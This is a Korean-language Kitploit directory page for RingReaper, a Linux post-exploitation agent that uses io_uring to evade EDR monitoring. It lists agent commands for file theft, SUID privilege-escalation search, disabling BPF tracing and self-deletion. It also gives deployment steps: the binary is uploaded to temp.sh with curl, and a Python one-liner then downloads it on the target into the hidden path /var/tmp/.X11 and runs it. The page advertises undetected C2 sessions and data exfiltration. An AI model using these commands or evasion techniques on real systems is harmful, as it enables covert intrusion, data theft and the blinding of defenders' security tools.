Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
RingReaper — io_uring을 사용해 일반적인 시스템 콜을 회피함으로써 EDR 탐지를 은밀하게 우회하는 Linux 포스트 익스플로잇 에이전트. | Kitploit
도구/GitHubGitHub/matheuzsecurity/ringreaper
Privilege EscalationIDS/IPS EvasionData ExfiltrationPost-ExploitationCommand and ControlRed TeamingRemote Access ToolAdversarial Attack
GitHubmatheuzsecurity/ringreaper

RingReaper

io_uring을 사용해 일반적인 시스템 콜을 회피함으로써 EDR 탐지를 은밀하게 우회하는 Linux 포스트 익스플로잇 에이전트.

저장소 보기
3836241년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

RingReaper

RingReaper는 EDR 솔루션에 탐지될 가능성을 최소화하면서 은밀하게 작동해야 하는 사람들을 위해 설계된 Linux용 간단한 사후 침투(post-exploitation) 에이전트입니다. 이 프로젝트의 아이디어는 Linux 커널의 새로운 비동기 I/O 인터페이스인 io_uring을 활용하여 대부분의 EDR이 모니터링하거나 후킹하는 경향이 있는 전통적인 시스템 호출을 피하는 것이었습니다.

실제로 RingReaper는 read, write, recv, send, connect 등의 호출을 비동기 I/O 작업(io_uring_prep_*)으로 대체하여, 보안 제품이 일반적으로 표준화된 방식으로 수집하는 후킹 및 이벤트 추적에 대한 노출을 줄입니다.

참고: RingReaper 내 일부 함수는 디렉터리 읽기(opendir, readdir) 또는 심볼릭 링크 확인(readlink)과 같은 전통적인 호출에 여전히 의존합니다. io_uring이 이러한 유형의 작업을 아직 기본적으로 완전히 지원하지 않기 때문입니다. 그럼에도 불구하고 테스트 중 이러한 호출은 모니터링되는 네트워크 I/O 경로에 속하지 않기 때문에 테스트된 EDR에서 경고를 트리거하지 않았습니다.

요약하자면, RingReaper는 가능한 한 전통적인 호출을 피하도록 구축되었으며, 그러한 호출을 사용해야 했던 경우에도 일반적인 보안 에이전트에서 경고나 탐지 없이 뛰어난 회피 능력을 입증했습니다.

전체 상세 문서는 다음에서 확인하세요:

https://matheuzsecurity.github.io/hacking/evading-linux-edrs-with-io-uring/

저자: https://www.linkedin.com/in/mathsalves/

루트킷 연구자

  • https://discord.gg/66N5ZQppU7

명령어 참조

RingReaper에서는 제어 명령, 업로드, 다운로드를 포함한 모든 데이터 트래픽이 io_uring을 통과해야 합니다. 이는 또한 가장 민감한 작업이 후킹 및 전통적인 호출 기반 EDR 모니터링의 레이더에 포착되지 않도록 보장합니다.

탐지 회피에 대하여

RingReaper는 처음부터 EDR 모니터링을 우회하도록 설계되었습니다. 많은 보안 솔루션은 커널 수준에서 클래식 시스템 호출(read, recv, send, connect)을 가로채는 방식으로 탐지 트리거를 구성합니다. io_uring은 비교적 새롭고 이러한 제품의 텔레메트리 파이프라인에 덜 통합되어 있어 대부분의 에이전트에서 종종 눈에 띄지 않으므로, 경고를 트리거하지 않고 C2 세션과 데이터 유출이 가능합니다.

디렉터리 읽기와 같이 여전히 이전 시스템 호출에 의존하는 함수들조차도 경보를 울리지 않을 만큼 은밀하게 유지되었습니다.

요구 사항

  • Linux 커널 5.1 이상
  • liburing 라이브러리
  • 호환 가능한 C 컴파일러 (GCC로 테스트됨)

환경

다음 커널 버전에서 만 테스트되었습니다;

  • 6.8.0-60-generic
  • 6.12.25-amd64

컴파일

root@kitploit:~
sudo apt install liburing-dev -y
gcc agent.c -o agent -luring -O2 -s -static

실행

테스트 중 EDR이 GCC 사용을 실시간으로 모니터링하여 agent.c 컴파일을 감지한다는 것을 확인했습니다 (wget/curl을 사용하지 않는 것이 좋습니다). 이를 우회하기 위해 제 머신에서 에이전트를 정적으로 컴파일하고, 완성된 바이너리를 temp.sh를 통해 전송한 다음, 대상에서 Python을 사용하여 다운로드하고 실행했습니다. 이 방법은 경고 없이 작동했습니다.

서버 (공격 박스) :

  • curl -F "file=@agent" https://temp.sh/upload
  • python3 server.py --ip IP --port 443

에이전트 (대상 머신) :

  • python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/stealth_agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"

업그레이드

버전 2.0:

  • 다중 스레드 연결 지원.
  • 명령 기록 ("위" 및 "아래" 키 사용).
  • 화면을 어지럽히지 않도록 "Clear" 명령.

기여

Pull Request를 자유롭게 보내고 프로젝트에 기여해 주세요. RingReaper에서 오류가 발생하면 이슈를 생성하여 알려주시기 바랍니다.

면책 조항

이 코드는 교육 목적, 연구, 그리고 회피 기술의 통제된 데모를 위해서만 개발되었습니다. 승인된 환경 밖에서의 사용이나 악의적인 목적의 사용은 엄격히 금지되며 전적으로 사용자의 책임입니다. 승인되지 않았거나 불법적인 사용은 지역, 국가 또는 국제 법률을 위반할 수 있습니다.

도구 다운로드
명령어설명백엔드
get대상에서 파일 조회100% io_uring
put파일 업로드 (에이전트 측에서 recv 사용)100% io_uring
killbpftracing 비활성화, /sys/fs/bpf 파일 제거 및 bpf-map을 사용하는 프로세스 종료기존 호출 + io_uring
usersutmp를 읽어 로그인한 사용자 나열100% io_uring
ss / netstat/proc/net/tcp에서 TCP 연결 나열100% io_uring
privescstatx를 사용하여 SUID 바이너리 검색100% io_uring
ps프로세스 나열 (opendir, readdir 사용)기존 호출 + io_uring
kickpts 세션 종료 (opendir, readdir, kill, readlink 사용)기존 호출 + io_uring
mePID/TTY 표시 (getpid, ttyname)기존 호출 + io_uring
selfdestruct현재 바이너리 삭제 (readlink 사용)기존 호출 + io_uring
exit연결 종료 및 프로그램 종료100% io_uring
help도움말 표시100% io_uring